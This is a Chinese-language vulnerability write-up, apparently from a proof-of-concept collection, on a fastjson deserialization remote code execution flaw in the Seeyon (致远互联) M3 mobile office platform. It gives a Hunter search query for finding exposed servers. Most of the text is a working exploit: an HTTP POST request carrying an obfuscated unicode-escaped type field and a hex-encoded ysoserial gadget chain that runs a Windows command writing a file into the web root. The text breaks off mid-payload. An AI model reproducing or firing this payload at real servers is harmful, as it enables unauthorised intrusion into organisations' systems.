Z5-2致远互联-M3移动智能办公平台-反序列化RCE

漏洞描述：

M3移动办公是致远互联打造的一站式智能工作平台，提供全方位的企业移动业务管理，致力于构建以人为中心的智能化移动应用场景，促进人员工作积极性和创造力，提升企业效率和效能，是为企业量身定制的移动智慧协同平台。 在致远M3 server中发现了一处fastjson反序列化漏洞，导致可以造成反序列化远程代码执行。 经过分析与研判，该漏洞利用难度低，能够造成远程命令执行

网站图片:

网络测绘:

Hunter 语法:

hunter：web.icon==“657d4895205951cbea6396701b194c30”

漏洞复现:

请求
payload：

POST /mobile_portal/api/pns/message/send/batch/6_1sp1 HTTP/1.1
Host: XXX
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hm_lvt_82116c626a8d504a5c0675073362ef6f=1666334057
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/json
Content-Length: 3680

[{"userMessageId":"{\"@\u0074\u0079\u0070\u0065\":\"\u0063\u006f\u006d\u002e\u006d\u0063\u0068\u0061\u006e\u0067\u0065\u002e\u0076\u0032\u002e\u0063\u0033\u0070\u0030\u002e\u0057\u0072\u0061\u0070\u0070\u0065\u0072\u0043\u006f\u006e\u006e\u0065\u0063\u0074\u0069\u006f\u006e\u0050\u006f\u006f\u006c\u0044\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\",\"\u0075\u0073\u0065\u0072\u004f\u0076\u0065\u0072\u0072\u0069\u0064\u0065\u0073\u0041\u0073\u0053\u0074\u0072\u0069\u006e\u0067\":\"\u0048\u0065\u0078\u0041\u0073\u0063\u0069\u0069\u0053\u0065\u0072\u0069\u0061\u006c\u0069\u007a\u0065\u0064\u004d\u0061\u0070:aced0005737200176a6176612e7574696c2e5072696f72697479517565756594da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b7870000000027372002b6f72672e6170616368652e636f6d6d6f6e732e6265616e7574696c732e4265616e436f6d70617261746f72e3a188ea7322a4480200024c000a636f6d70617261746f7271007e00014c000870726f70657274797400124c6a6176612f6c616e672f537472696e673b78707372003f6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e636f6d70617261746f72732e436f6d70617261626c65436f6d70617261746f72fbf49925b86eb13702000078707400106f757470757450726f706572746965737704000000037372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d6571007e00044c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b787000000000ffffffff757200035b5b424bfd19156767db37020000787000000002757200025b42acf317f8060854e00200007870000006c9cafebabe0000003200390a0003002207003707002507002601001073657269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c756505ad2093f391ddef3e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c6501000474686973010013537475625472616e736c65745061796c6f616401000c496e6e6572436c61737365730100354c79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e736c65745061796c6f61643b0100097472616e73666f726d010072284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b2956010008646f63756d656e7401002d4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a457863657074696f6e730700270100a6284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b29560100086974657261746f720100354c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b01000768616e646c65720100414c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a000b07002801003379736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e736c65745061796c6f6164010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740100146a6176612f696f2f53657269616c697a61626c65010039636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f5472616e736c6574457863657074696f6e01001f79736f73657269616c2f7061796c6f6164732f7574696c2f476164676574730100083c636c696e69743e0100116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a002b002e010035636d64202f63206563686f2070747364203e202e2e5c776562617070735c6d6f62696c655f706f7274616c5c696d675c312e74787408003001000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0c003200330a002b003401000d537461636b4d61705461626c6501001d79736f73657269616c2f50776e6572313233313636373139303538303001001f4c79736f73657269616c2f50776e657231323331363637313930353830303b002100020003000100040001001a000500060001000700000002000800040001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000002f000e0000000c000100000005000f003800000001001300140002000c0000003f0000000300000001b100000002000d00000006000100000034000e00000020000300000001000f0038000000000001001500160001000000010017001800020019000000040001001a00010013001b0002000c000000490000000400000001b100000002000d00000006000100000038000e0000002a00040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